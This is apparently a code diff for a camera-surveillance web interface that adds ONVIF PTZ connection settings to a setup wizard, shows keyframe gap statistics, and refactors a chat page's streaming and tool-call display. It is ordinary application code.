<Row icon="unknown">{t("cameras.info.keyframes.recordDisabled")}</Row>
|
||||
);
|
||||
break;
|
||||
default:
|
||||
summary = (
|
||||
<Row icon="unknown">{t("cameras.info.keyframes.unknown")}</Row>
|
||||
);
|
||||
}
|
||||
|
||||
// gap statistics are only meaningful once at least two keyframes were seen
|
||||
const hasStats = analysis.max_gap != null;
|
||||
const hasDetails = hasStats || analysis.stream_index != null;
|
||||
|
||||
return (
|
||||
<div className="text-muted-foreground">
|
||||
{analysis.stream_index != null && (
|
||||
<div>
|
||||
{t("cameras.info.keyframes.recordStream")}{" "}
|
||||
<span className="text-primary">
|
||||
{t("cameras.info.stream", { idx: analysis.stream_index + 1 })}
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
{hasStats && (
|
||||
<div>
|
||||
<div>
|
||||
{t("cameras.info.keyframes.keyframeCount")}{" "}
|
||||
<span className="text-primary">{analysis.keyframe_count}</span>
|
||||
</div>
|
||||
<div>
|
||||
{t("cameras.info.keyframes.observedDuration")}{" "}
|
||||
<span className="text-primary">
|
||||
{analysis.duration_observed}s
|
||||
</span>
|
||||
</div>
|
||||
<div>
|
||||
{t("cameras.info.keyframes.gap")}{" "}
|
||||
<span className="text-primary">
|
||||
{analysis.min_gap}s / {analysis.mean_gap}s / {analysis.max_gap}s
|
||||
</span>
|
||||
</div>
|
||||
<div>
|
||||
{t("cameras.info.keyframes.segmentLength")}{" "}
|
||||
<span className="text-primary">{analysis.segment_time}s</span>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
<div className={hasDetails ? "mt-3" : undefined}>{summary}</div>
|
||||
</div>
|
||||
);
|
||||
}, [analysis, failed, secondsRemaining, t]);
|
||||
|
||||
return (
|
||||
<div className="mb-5">
|
||||
<div className="mb-1 rounded-md bg-secondary p-2 text-lg text-primary">
|
||||
{t("cameras.info.keyframes.title")}
|
||||
</div>
|
||||
<div className="ml-2">{content}</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
type RowProps = {
|
||||
icon: "ok" | "warning" | "error" | "unknown";
|
||||
children: React.ReactNode;
|
||||
};
|
||||
|
||||
function Row({ icon, children }: RowProps) {
|
||||
return (
|
||||
<div className="flex items-start gap-2">
|
||||
{icon === "ok" && (
|
||||
<FaCircleCheck className="mt-0.5 size-4 flex-shrink-0 text-success" />
|
||||
)}
|
||||
{icon === "warning" && (
|
||||
<FaTriangleExclamation className="mt-0.5 size-4 flex-shrink-0 text-yellow-500" />
|
||||
)}
|
||||
{icon === "error" && (
|
||||
<LuX className="mt-0.5 size-4 flex-shrink-0 text-danger" />
|
||||
)}
|
||||
{icon === "unknown" && (
|
||||
<FaTriangleExclamation className="mt-0.5 size-4 flex-shrink-0 text-muted-foreground" />
|
||||
)}
|
||||
<span className="text-primary">{children}</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -115,13 +115,19 @@ export default function CameraWizardDialog({
|
||||
case 1:
|
||||
// Step 2: Can proceed if at least one stream exists (from probe or manual test)
|
||||
return (state.wizardData.streams?.length ?? 0) > 0;
|
||||
case 2:
|
||||
// Step 3: Can proceed if at least one stream has 'detect' role
|
||||
return !!(
|
||||
case 2: {
|
||||
// Step 3: requires a detect stream; if PTZ is enabled, also require
|
||||
// ONVIF host + port (fields are pre-filled but the user may clear them)
|
||||
const hasDetect = !!(
|
||||
state.wizardData.streams?.some((stream) =>
|
||||
stream.roles.includes("detect"),
|
||||
) ?? false
|
||||
);
|
||||
const onvif = state.wizardData.onvif;
|
||||
const onvifOk =
|
||||
!onvif?.enabled || (!!onvif.host?.trim() && !!onvif.port);
|
||||
return hasDetect && onvifOk;
|
||||
}
|
||||
case 3:
|
||||
// Step 4: Always can proceed from final step (save will be handled there)
|
||||
return true;
|
||||
@@ -241,6 +247,20 @@ export default function CameraWizardDialog({
|
||||
});
|
||||
}
|
||||
|
||||
// Write the ONVIF section when PTZ controls are enabled
|
||||
if (wizardData.onvif?.enabled && wizardData.onvif.host.trim()) {
|
||||
configData.cameras[finalCameraName].onvif = {
|
||||
host: wizardData.onvif.host.trim(),
|
||||
port: wizardData.onvif.port,
|
||||
...(wizardData.onvif.user?.trim() && {
|
||||
user: wizardData.onvif.user.trim(),
|
||||
}),
|
||||
...(wizardData.onvif.password && {
|
||||
password: wizardData.onvif.password,
|
||||
}),
|
||||
};
|
||||
}
|
||||
|
||||
const requestBody: ConfigSetBody = {
|
||||
requires_restart: 1,
|
||||
config_data: configData,
|
||||
|
||||
@@ -204,6 +204,7 @@ export default function Step2ProbeOrSnapshot({
|
||||
.map((c: { uri: string }) => c.uri);
|
||||
onUpdate({
|
||||
probeMode: true,
|
||||
probeResult: response.data,
|
||||
probeCandidates: candidateUris,
|
||||
candidateTests: {},
|
||||
});
|
||||
|
||||
@@ -3,7 +3,7 @@ import { Card, CardContent } from "@/components/ui/card";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { Switch } from "@/components/ui/switch";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import { useState, useCallback, useMemo } from "react";
|
||||
import { useState, useCallback, useMemo, useEffect } from "react";
|
||||
import { LuPlus, LuTrash2, LuX } from "react-icons/lu";
|
||||
import ActivityIndicator from "@/components/indicators/activity-indicator";
|
||||
import axios from "axios";
|
||||
@@ -32,6 +32,10 @@ import {
|
||||
LuExternalLink,
|
||||
LuCheck,
|
||||
LuChevronsUpDown,
|
||||
LuChevronDown,
|
||||
LuChevronRight,
|
||||
LuEye,
|
||||
LuEyeOff,
|
||||
} from "react-icons/lu";
|
||||
import { Link } from "react-router-dom";
|
||||
import { useDocDomain } from "@/hooks/use-doc-domain";
|
||||
@@ -44,6 +48,11 @@ import {
|
||||
CommandItem,
|
||||
CommandList,
|
||||
} from "@/components/ui/command";
|
||||
import {
|
||||
Collapsible,
|
||||
CollapsibleContent,
|
||||
CollapsibleTrigger,
|
||||
} from "@/components/ui/collapsible";
|
||||
|
||||
type Step3StreamConfigProps = {
|
||||
wizardData: Partial<WizardFormData>;
|
||||
@@ -64,6 +73,53 @@ export default function Step3StreamConfig({
|
||||
const { getLocaleDocUrl } = useDocDomain();
|
||||
const [testingStreams, setTestingStreams] = useState<Set<string>>(new Set());
|
||||
const [openCombobox, setOpenCombobox] = useState<string | null>(null);
|
||||
const [showOnvifPassword, setShowOnvifPassword] = useState(false);
|
||||
const [onvifDetailsOpen, setOnvifDetailsOpen] = useState(false);
|
||||
|
||||
const onvif = wizardData.onvif;
|
||||
const ptzSupported = wizardData.probeResult?.ptz_supported === true;
|
||||
const panTiltSupported = wizardData.probeResult?.pan_tilt_supported === true;
|
||||
const onvifInvalid = !!onvif?.enabled && (!onvif.host?.trim() || !onvif.port);
|
||||
|
||||
// Seed the PTZ pane once from the successful ONVIF probe
|
||||
useEffect(() => {
|
||||
// run only on first entry and never clobber a user's later toggle-off or edits
|
||||
if (ptzSupported && wizardData.onvif === undefined) {
|
||||
onUpdate({
|
||||
onvif: {
|
||||
enabled: panTiltSupported,
|
||||
host: wizardData.host ?? "",
|
||||
port: wizardData.onvifPort ?? 8000,
|
||||
user: wizardData.username ?? "",
|
||||
password: wizardData.password ?? "",
|
||||
},
|
||||
});
|
||||
}
|
||||
}, [
|
||||
ptzSupported,
|
||||
panTiltSupported,
|
||||
wizardData.onvif,
|
||||
wizardData.host,
|
||||
wizardData.onvifPort,
|
||||
wizardData.username,
|
||||
wizardData.password,
|
||||
onUpdate,
|
||||
]);
|
||||
|
||||
const updateOnvif = useCallback(
|
||||
(updates: Partial<NonNullable<WizardFormData["onvif"]>>) => {
|
||||
onUpdate({
|
||||
onvif: {
|
||||
enabled: false,
|
||||
host: "",
|
||||
port: 8000,
|
||||
...wizardData.onvif,
|
||||
...updates,
|
||||
},
|
||||
});
|
||||
},
|
||||
[onUpdate, wizardData.onvif],
|
||||
);
|
||||
|
||||
const streams = useMemo(() => wizardData.streams || [], [wizardData.streams]);
|
||||
|
||||
@@ -725,12 +781,136 @@ export default function Step3StreamConfig({
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
{ptzSupported && (
|
||||
<Card className="bg-secondary text-primary">
|
||||
<CardContent className="space-y-2 p-4">
|
||||
<div className="flex items-center justify-between gap-4">
|
||||
<div className="space-y-1">
|
||||
<h4 className="font-medium">
|
||||
{t("cameraWizard.step3.ptz.title")}
|
||||
</h4>
|
||||
<p className="text-xs text-muted-foreground">
|
||||
{t("cameraWizard.step3.ptz.detectedNote")}
|
||||
</p>
|
||||
</div>
|
||||
<Switch
|
||||
checked={onvif?.enabled ?? false}
|
||||
onCheckedChange={(checked) => updateOnvif({ enabled: checked })}
|
||||
/>
|
||||
</div>
|
||||
|
||||
{onvif?.enabled && (
|
||||
<Collapsible
|
||||
open={onvifDetailsOpen || onvifInvalid}
|
||||
onOpenChange={setOnvifDetailsOpen}
|
||||
>
|
||||
<CollapsibleTrigger asChild>
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
className="w-full justify-start gap-2 pl-0 hover:bg-transparent"
|
||||
>
|
||||
{onvifDetailsOpen || onvifInvalid ? (
|
||||
<LuChevronDown className="size-4" />
|
||||
) : (
|
||||
<LuChevronRight className="size-4" />
|
||||
)}
|
||||
{t("cameraWizard.step3.ptz.connectionDetails")}
|
||||
</Button>
|
||||
</CollapsibleTrigger>
|
||||
<CollapsibleContent className="mt-2 space-y-4 rounded-lg bg-background p-3">
|
||||
<div className="space-y-2">
|
||||
<Label className="text-sm font-medium text-primary-variant">
|
||||
{t("cameraWizard.step3.ptz.host")}
|
||||
</Label>
|
||||
<Input
|
||||
value={onvif.host}
|
||||
onChange={(e) => updateOnvif({ host: e.target.value })}
|
||||
className="h-8"
|
||||
placeholder="192.168.1.100"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="space-y-2">
|
||||
<Label className="text-sm font-medium text-primary-variant">
|
||||
{t("cameraWizard.step3.ptz.port")}
|
||||
</Label>
|
||||
<Input
|
||||
type="text"
|
||||
inputMode="numeric"
|
||||
value={onvif.port || ""}
|
||||
onChange={(e) => {
|
||||
const parsed = parseInt(e.target.value, 10);
|
||||
updateOnvif({ port: isNaN(parsed) ? 0 : parsed });
|
||||
}}
|
||||
className="h-8"
|
||||
placeholder="8000"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="space-y-2">
|
||||
<Label className="text-sm font-medium text-primary-variant">
|
||||
{t("cameraWizard.step3.ptz.username")}
|
||||
</Label>
|
||||
<Input
|
||||
value={onvif.user ?? ""}
|
||||
onChange={(e) => updateOnvif({ user: e.target.value })}
|
||||
className="h-8"
|
||||
placeholder={t("cameraWizard.step1.usernamePlaceholder")}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="space-y-2">
|
||||
<Label className="text-sm font-medium text-primary-variant">
|
||||
{t("cameraWizard.step3.ptz.password")}
|
||||
</Label>
|
||||
<div className="relative">
|
||||
<Input
|
||||
type={showOnvifPassword ? "text" : "password"}
|
||||
value={onvif.password ?? ""}
|
||||
onChange={(e) =>
|
||||
updateOnvif({ password: e.target.value })
|
||||
}
|
||||
className="h-8 pr-10"
|
||||
placeholder={t(
|
||||
"cameraWizard.step1.passwordPlaceholder",
|
||||
)}
|
||||
/>
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
className="absolute right-0 top-0 h-full px-3 py-2 hover:bg-transparent"
|
||||
onClick={() => setShowOnvifPassword((s) => !s)}
|
||||
>
|
||||
{showOnvifPassword ? (
|
||||
<LuEyeOff className="size-4" />
|
||||
) : (
|
||||
<LuEye className="size-4" />
|
||||
)}
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
</CollapsibleContent>
|
||||
</Collapsible>
|
||||
)}
|
||||
</CardContent>
|
||||
</Card>
|
||||
)}
|
||||
|
||||
{!hasDetectRole && (
|
||||
<div className="rounded-lg border border-danger/50 p-3 text-sm text-danger">
|
||||
{t("cameraWizard.step3.detectRoleWarning")}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{onvifInvalid && (
|
||||
<div className="rounded-lg border border-danger/50 p-3 text-sm text-danger">
|
||||
{t("cameraWizard.step3.ptz.hostRequiredWarning")}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="flex flex-col-reverse gap-2 pt-6 sm:flex-row sm:justify-end">
|
||||
{onBack && (
|
||||
<Button type="button" onClick={onBack} className="sm:flex-1">
|
||||
|
||||
@@ -268,6 +268,7 @@ export default function Step4Validation({
|
||||
customUrl: wizardData.customUrl,
|
||||
streams: wizardData.streams,
|
||||
hasBackchannel: wizardData.hasBackchannel,
|
||||
onvif: wizardData.onvif,
|
||||
};
|
||||
|
||||
onSave(configData);
|
||||
|
||||
+108
-159
@@ -13,7 +13,6 @@ import { ChatComposer } from "@/components/chat/ChatComposer";
|
||||
import ChatSettings from "@/components/chat/ChatSettings";
|
||||
import type {
|
||||
ChatMessage,
|
||||
ChatStats,
|
||||
GenAIModelsResponse,
|
||||
ShowStatsMode,
|
||||
} from "@/types/chat";
|
||||
@@ -23,28 +22,12 @@ import {
|
||||
getFindSimilarObjectsFromToolCalls,
|
||||
prependAttachment,
|
||||
streamChatCompletion,
|
||||
toolCallsForMessage,
|
||||
toolResponsesById,
|
||||
} from "@/utils/chatUtil";
|
||||
|
||||
type StreamingTurn = {
|
||||
content: string;
|
||||
reasoning: string;
|
||||
chain: ChatMessage[];
|
||||
stats?: ChatStats;
|
||||
};
|
||||
|
||||
const hasText = (content: unknown): content is string =>
|
||||
typeof content === "string" && content.trim().length > 0;
|
||||
|
||||
const toWire = (messages: ChatMessage[]): ChatMessage[] =>
|
||||
messages.map(({ reasoning: _r, stats: _s, ...rest }) => rest);
|
||||
|
||||
export default function ChatPage() {
|
||||
const { t } = useTranslation(["views/chat"]);
|
||||
const [input, setInput] = useState("");
|
||||
const [messages, setMessages] = useState<ChatMessage[]>([]);
|
||||
const [streaming, setStreaming] = useState<StreamingTurn | null>(null);
|
||||
const [isLoading, setIsLoading] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [attachedEventId, setAttachedEventId] = useState<string | null>(null);
|
||||
@@ -89,19 +72,28 @@ export default function ChatPage() {
|
||||
if (isNearBottom) {
|
||||
el.scrollTo({ top: el.scrollHeight, behavior: "smooth" });
|
||||
}
|
||||
}, [messages, streaming, autoScroll]);
|
||||
}, [messages, autoScroll]);
|
||||
|
||||
const submitConversation = useCallback(
|
||||
async (messagesToSend: ChatMessage[]) => {
|
||||
if (isLoading) return;
|
||||
const last = messagesToSend[messagesToSend.length - 1];
|
||||
if (!last || last.role !== "user" || !hasText(last.content)) return;
|
||||
if (!last || last.role !== "user" || !last.content.trim()) return;
|
||||
|
||||
setError(null);
|
||||
setMessages(messagesToSend);
|
||||
setStreaming({ content: "", reasoning: "", chain: [] });
|
||||
const assistantPlaceholder: ChatMessage = {
|
||||
role: "assistant",
|
||||
content: "",
|
||||
toolCalls: undefined,
|
||||
};
|
||||
setMessages([...messagesToSend, assistantPlaceholder]);
|
||||
setIsLoading(true);
|
||||
|
||||
const apiMessages = messagesToSend.map((m) => ({
|
||||
role: m.role,
|
||||
content: m.content,
|
||||
}));
|
||||
|
||||
const baseURL = axios.defaults.baseURL ?? "";
|
||||
const url = `${baseURL}chat/completion`;
|
||||
const headers: Record<string, string> = {
|
||||
@@ -112,50 +104,16 @@ export default function ChatPage() {
|
||||
const controller = new AbortController();
|
||||
abortRef.current = controller;
|
||||
|
||||
let chain: ChatMessage[] = [];
|
||||
let stats: ChatStats | undefined;
|
||||
let reasoning = "";
|
||||
let hadError = false;
|
||||
|
||||
await streamChatCompletion(
|
||||
url,
|
||||
headers,
|
||||
toWire(messagesToSend),
|
||||
apiMessages,
|
||||
{
|
||||
onContentDelta: (delta) =>
|
||||
setStreaming((s) => (s ? { ...s, content: s.content + delta } : s)),
|
||||
onReasoningDelta: (delta) => {
|
||||
reasoning += delta;
|
||||
setStreaming((s) =>
|
||||
s ? { ...s, reasoning: s.reasoning + delta } : s,
|
||||
);
|
||||
},
|
||||
onChain: (fullChain) => {
|
||||
chain = fullChain;
|
||||
setStreaming((s) => (s ? { ...s, chain: fullChain } : s));
|
||||
},
|
||||
onStats: (s) => {
|
||||
stats = s;
|
||||
setStreaming((cur) => (cur ? { ...cur, stats: s } : cur));
|
||||
},
|
||||
onError: (message) => {
|
||||
hadError = true;
|
||||
setError(message);
|
||||
},
|
||||
updateMessages: (updater) => setMessages(updater),
|
||||
onError: (message) => setError(message),
|
||||
onDone: () => {
|
||||
abortRef.current = null;
|
||||
setIsLoading(false);
|
||||
setStreaming(null);
|
||||
const lastMsg = chain[chain.length - 1];
|
||||
if (!hadError && lastMsg?.role === "assistant") {
|
||||
setMessages(
|
||||
chain.map((m, i) =>
|
||||
i === chain.length - 1
|
||||
? { ...m, reasoning: reasoning || undefined, stats }
|
||||
: m,
|
||||
),
|
||||
);
|
||||
}
|
||||
},
|
||||
defaultErrorMessage: t("error"),
|
||||
},
|
||||
@@ -167,14 +125,12 @@ export default function ChatPage() {
|
||||
);
|
||||
|
||||
const recentEventIds = useMemo(() => {
|
||||
const responses = toolResponsesById(messages);
|
||||
for (let i = messages.length - 1; i >= 0; i--) {
|
||||
const msg = messages[i];
|
||||
if (msg.role !== "assistant" || !msg.tool_calls?.length) continue;
|
||||
const calls = toolCallsForMessage(msg, responses);
|
||||
const similar = getFindSimilarObjectsFromToolCalls(calls);
|
||||
if (msg.role !== "assistant" || !msg.toolCalls) continue;
|
||||
const similar = getFindSimilarObjectsFromToolCalls(msg.toolCalls);
|
||||
if (similar) return similar.results.map((e) => e.id);
|
||||
const events = getEventIdsFromSearchObjectsToolCalls(calls);
|
||||
const events = getEventIdsFromSearchObjectsToolCalls(msg.toolCalls);
|
||||
if (events.length > 0) return events.map((e) => e.id);
|
||||
}
|
||||
return [];
|
||||
@@ -198,14 +154,12 @@ export default function ChatPage() {
|
||||
abortRef.current?.abort();
|
||||
abortRef.current = null;
|
||||
setIsLoading(false);
|
||||
setStreaming(null);
|
||||
}, []);
|
||||
|
||||
const startNewChat = useCallback(() => {
|
||||
abortRef.current?.abort();
|
||||
abortRef.current = null;
|
||||
setIsLoading(false);
|
||||
setStreaming(null);
|
||||
setMessages([]);
|
||||
setInput("");
|
||||
setAttachedEventId(null);
|
||||
@@ -227,83 +181,7 @@ export default function ChatPage() {
|
||||
setAttachedEventId(null);
|
||||
}, []);
|
||||
|
||||
const hasStarted = messages.length > 0 || streaming != null;
|
||||
|
||||
// While streaming, the backend's in-flight chain is the source of truth;
|
||||
// otherwise the committed conversation is.
|
||||
const renderList =
|
||||
streaming && streaming.chain.length ? streaming.chain : messages;
|
||||
const responses = toolResponsesById(renderList);
|
||||
const renderTail = renderList[renderList.length - 1];
|
||||
const finalShown =
|
||||
renderTail?.role === "assistant" && hasText(renderTail.content);
|
||||
|
||||
const renderMessage = (msg: ChatMessage, i: number) => {
|
||||
if (msg.role === "system" || msg.role === "tool") return null;
|
||||
|
||||
if (msg.role === "user") {
|
||||
if (!hasText(msg.content)) return null;
|
||||
return (
|
||||
<div key={i} className="flex flex-col gap-2">
|
||||
<MessageBubble
|
||||
role="user"
|
||||
content={msg.content}
|
||||
messageIndex={i}
|
||||
onEditSubmit={handleEditSubmit}
|
||||
isComplete
|
||||
showStats={showStats}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const calls = toolCallsForMessage(msg, responses);
|
||||
const contentText = hasText(msg.content) ? msg.content : "";
|
||||
const similar = getFindSimilarObjectsFromToolCalls(calls);
|
||||
const events = similar ? [] : getEventIdsFromSearchObjectsToolCalls(calls);
|
||||
|
||||
return (
|
||||
<div key={i} className="flex flex-col gap-2">
|
||||
{calls.length > 0 && <ToolCallsGroup toolCalls={calls} />}
|
||||
{hasText(msg.reasoning) && (
|
||||
<ReasoningBubble
|
||||
reasoning={msg.reasoning}
|
||||
answerStarted={!!contentText}
|
||||
/>
|
||||
)}
|
||||
{contentText && (
|
||||
<MessageBubble
|
||||
role="assistant"
|
||||
content={contentText}
|
||||
messageIndex={i}
|
||||
isComplete
|
||||
stats={msg.stats}
|
||||
showStats={showStats}
|
||||
/>
|
||||
)}
|
||||
{similar ? (
|
||||
<ChatEventThumbnailsRow
|
||||
events={similar.results}
|
||||
anchor={similar.anchor}
|
||||
onAttach={setAttachedEventId}
|
||||
/>
|
||||
) : (
|
||||
<ChatEventThumbnailsRow
|
||||
events={events}
|
||||
onAttach={setAttachedEventId}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
const processingDots = (
|
||||
<div className="flex items-center gap-2 self-start rounded-2xl bg-muted px-5 py-4">
|
||||
<span className="size-2.5 animate-bounce rounded-full bg-muted-foreground/60 [animation-delay:-0.32s]" />
|
||||
<span className="size-2.5 animate-bounce rounded-full bg-muted-foreground/60 [animation-delay:-0.16s]" />
|
||||
<span className="size-2.5 animate-bounce rounded-full bg-muted-foreground/60" />
|
||||
</div>
|
||||
);
|
||||
const hasStarted = messages.length > 0;
|
||||
|
||||
return (
|
||||
<div className="flex size-full flex-col">
|
||||
@@ -334,31 +212,102 @@ export default function ChatPage() {
|
||||
<div className="flex w-full flex-col xl:w-[50%] 3xl:w-[35%]">
|
||||
{hasStarted ? (
|
||||
<div className="flex w-full flex-1 flex-col gap-3 pb-3">
|
||||
{renderList.map((msg, i) => renderMessage(msg, i))}
|
||||
{streaming &&
|
||||
!finalShown &&
|
||||
(streaming.content || streaming.reasoning ? (
|
||||
<div className="flex flex-col gap-2">
|
||||
{hasText(streaming.reasoning) && (
|
||||
{messages.map((msg, i) => {
|
||||
const isLastAssistant =
|
||||
i === messages.length - 1 && msg.role === "assistant";
|
||||
const isComplete =
|
||||
msg.role === "user" || !isLoading || !isLastAssistant;
|
||||
const hasToolCalls =
|
||||
msg.toolCalls && msg.toolCalls.length > 0;
|
||||
const hasContent = !!msg.content?.trim();
|
||||
const hasReasoning = !!msg.reasoning?.trim();
|
||||
const showProcessing =
|
||||
isLastAssistant &&
|
||||
isLoading &&
|
||||
!hasContent &&
|
||||
!hasReasoning;
|
||||
|
||||
// Hide empty placeholder only when there are no tool calls
|
||||
// and no reasoning streaming yet
|
||||
if (
|
||||
isLastAssistant &&
|
||||
isLoading &&
|
||||
!hasContent &&
|
||||
!hasToolCalls &&
|
||||
!hasReasoning
|
||||
)
|
||||
return (
|
||||
<div
|
||||
key={i}
|
||||
className="flex items-center gap-2 self-start rounded-2xl bg-muted px-5 py-4"
|
||||
>
|
||||
<span className="size-2.5 animate-bounce rounded-full bg-muted-foreground/60 [animation-delay:-0.32s]" />
|
||||
<span className="size-2.5 animate-bounce rounded-full bg-muted-foreground/60 [animation-delay:-0.16s]" />
|
||||
<span className="size-2.5 animate-bounce rounded-full bg-muted-foreground/60" />
|
||||
</div>
|
||||
);
|
||||
|
||||
return (
|
||||
<div key={i} className="flex flex-col gap-2">
|
||||
{msg.role === "assistant" && hasToolCalls && (
|
||||
<ToolCallsGroup toolCalls={msg.toolCalls!} />
|
||||
)}
|
||||
{msg.role === "assistant" && hasReasoning && (
|
||||
<ReasoningBubble
|
||||
reasoning={streaming.reasoning}
|
||||
answerStarted={!!streaming.content}
|
||||
reasoning={msg.reasoning!}
|
||||
answerStarted={hasContent}
|
||||
/>
|
||||
)}
|
||||
{streaming.content && (
|
||||
{showProcessing ? (
|
||||
<div className="flex items-center gap-2 self-start rounded-2xl bg-muted px-5 py-4">
|
||||
<span className="size-2 animate-bounce rounded-full bg-muted-foreground/60 [animation-delay:-0.3s]" />
|
||||
<span className="size-2 animate-bounce rounded-full bg-muted-foreground/60 [animation-delay:-0.15s]" />
|
||||
<span className="size-2 animate-bounce rounded-full bg-muted-foreground/60" />
|
||||
</div>
|
||||
) : msg.role === "assistant" &&
|
||||
!hasContent &&
|
||||
hasReasoning &&
|
||||
!isComplete ? null : (
|
||||
<MessageBubble
|
||||
role="assistant"
|
||||
content={streaming.content}
|
||||
messageIndex={-1}
|
||||
isComplete={false}
|
||||
stats={streaming.stats}
|
||||
role={msg.role}
|
||||
content={msg.content}
|
||||
messageIndex={i}
|
||||
onEditSubmit={
|
||||
msg.role === "user" ? handleEditSubmit : undefined
|
||||
}
|
||||
isComplete={isComplete}
|
||||
stats={msg.stats}
|
||||
showStats={showStats}
|
||||
/>
|
||||
)}
|
||||
{msg.role === "assistant" &&
|
||||
isComplete &&
|
||||
(() => {
|
||||
const similar = getFindSimilarObjectsFromToolCalls(
|
||||
msg.toolCalls,
|
||||
);
|
||||
if (similar) {
|
||||
return (
|
||||
<ChatEventThumbnailsRow
|
||||
events={similar.results}
|
||||
anchor={similar.anchor}
|
||||
onAttach={setAttachedEventId}
|
||||
/>
|
||||
);
|
||||
}
|
||||
const events = getEventIdsFromSearchObjectsToolCalls(
|
||||
msg.toolCalls,
|
||||
);
|
||||
return (
|
||||
<ChatEventThumbnailsRow
|
||||
events={events}
|
||||
onAttach={setAttachedEventId}
|
||||
/>
|
||||
);
|
||||
})()}
|
||||
</div>
|
||||
) : (
|
||||
processingDots
|
||||
))}
|
||||
);
|
||||
})}
|
||||
{error && (
|
||||
<p
|
||||
className="flex items-center gap-1.5 self-start text-sm text-destructive"
|
||||
|
||||
@@ -119,6 +119,13 @@ export type WizardFormData = {
|
||||
probeCandidates?: string[]; // candidate URLs from probe
|
||||
candidateTests?: CandidateTestMap; // test results for candidates
|
||||
hasBackchannel?: boolean; // true if camera supports backchannel audio
|
||||
onvif?: {
|
||||
enabled: boolean;
|
||||
host: string;
|
||||
port: number;
|
||||
user?: string;
|
||||
password?: string;
|
||||
};
|
||||
};
|
||||
|
||||
// API Response Types
|
||||
@@ -169,6 +176,12 @@ export type CameraConfigData = {
|
||||
live?: {
|
||||
streams: Record<string, string>;
|
||||
};
|
||||
onvif?: {
|
||||
host: string;
|
||||
port: number;
|
||||
user?: string;
|
||||
password?: string;
|
||||
};
|
||||
};
|
||||
};
|
||||
go2rtc?: {
|
||||
@@ -199,6 +212,7 @@ export type OnvifProbeResponse = {
|
||||
firmware_version?: string;
|
||||
profiles_count?: number;
|
||||
ptz_supported?: boolean;
|
||||
pan_tilt_supported?: boolean;
|
||||
presets_count?: number;
|
||||
autotrack_supported?: boolean;
|
||||
move_status_supported?: boolean;
|
||||
|
||||
+8
-21
@@ -1,30 +1,17 @@
|
||||
export type ToolCallFunction = {
|
||||
name: string;
|
||||
arguments: string;
|
||||
};
|
||||
|
||||
export type WireToolCall = {
|
||||
id: string;
|
||||
type?: string;
|
||||
function: ToolCallFunction;
|
||||
};
|
||||
|
||||
export type ChatMessage = {
|
||||
role: "system" | "user" | "assistant" | "tool";
|
||||
content: unknown;
|
||||
tool_call_id?: string;
|
||||
name?: string;
|
||||
tool_calls?: WireToolCall[];
|
||||
reasoning?: string;
|
||||
stats?: ChatStats;
|
||||
};
|
||||
|
||||
export type ToolCall = {
|
||||
name: string;
|
||||
arguments?: Record<string, unknown>;
|
||||
response?: string;
|
||||
};
|
||||
|
||||
export type ChatMessage = {
|
||||
role: "user" | "assistant";
|
||||
content: string;
|
||||
reasoning?: string;
|
||||
toolCalls?: ToolCall[];
|
||||
stats?: ChatStats;
|
||||
};
|
||||
|
||||
export type StartingRequest = {
|
||||
label: string;
|
||||
prompt: string;
|
||||
|
||||
@@ -135,22 +135,3 @@ export type Ffprobe = {
|
||||
}[];
|
||||
};
|
||||
};
|
||||
|
||||
export type KeyframeSeverity =
|
||||
| "ok"
|
||||
| "warning"
|
||||
| "error"
|
||||
| "unknown"
|
||||
| "record_disabled";
|
||||
|
||||
export type KeyframeAnalysis = {
|
||||
severity: KeyframeSeverity;
|
||||
stream_index?: number;
|
||||
keyframe_count?: number;
|
||||
max_gap?: number | null;
|
||||
mean_gap?: number | null;
|
||||
min_gap?: number | null;
|
||||
duration_observed?: number | null;
|
||||
segment_time?: number;
|
||||
thresholds?: { warning: number; error: number };
|
||||
};
|
||||
|
||||
+85
-65
@@ -1,20 +1,16 @@
|
||||
import type { ChatMessage, ChatStats, ToolCall } from "@/types/chat";
|
||||
|
||||
export type StreamChatCallbacks = {
|
||||
/** Streamed delta of the assistant's final answer text. */
|
||||
onContentDelta: (delta: string) => void;
|
||||
/** Streamed delta of the assistant's reasoning trace. */
|
||||
onReasoningDelta: (delta: string) => void;
|
||||
/** The full conversation chain so far (system message, history, this turn's
|
||||
* tool-call turns, tool results, and — on the final emission — the final
|
||||
* assistant message). */
|
||||
onChain: (chain: ChatMessage[]) => void;
|
||||
/** Token/timing stats for the turn. */
|
||||
onStats: (stats: ChatStats) => void;
|
||||
/** Update the messages array (e.g. pass to setState). */
|
||||
updateMessages: (updater: (prev: ChatMessage[]) => ChatMessage[]) => void;
|
||||
/** Called when the stream sends an error or fetch fails. */
|
||||
onError: (message: string) => void;
|
||||
/** Called when the stream finishes (success or error). */
|
||||
onDone: () => void;
|
||||
/** Called when the stream emits token/timing stats. The stats are also
|
||||
* attached to the last assistant message in updateMessages, so consumers
|
||||
* can usually rely on the message itself rather than wiring this up. */
|
||||
onStats?: (stats: ChatStats) => void;
|
||||
/** Message used when fetch throws and no server error is available. */
|
||||
defaultErrorMessage?: string;
|
||||
};
|
||||
@@ -29,7 +25,7 @@ type StatsChunk = {
|
||||
|
||||
type StreamChunk =
|
||||
| { type: "error"; error: string }
|
||||
| { type: "messages"; messages: ChatMessage[] }
|
||||
| { type: "tool_calls"; tool_calls: ToolCall[] }
|
||||
| { type: "content"; delta: string }
|
||||
| { type: "reasoning"; delta: string }
|
||||
| StatsChunk;
|
||||
@@ -45,18 +41,16 @@ export type StreamChatOptions = {
|
||||
export async function streamChatCompletion(
|
||||
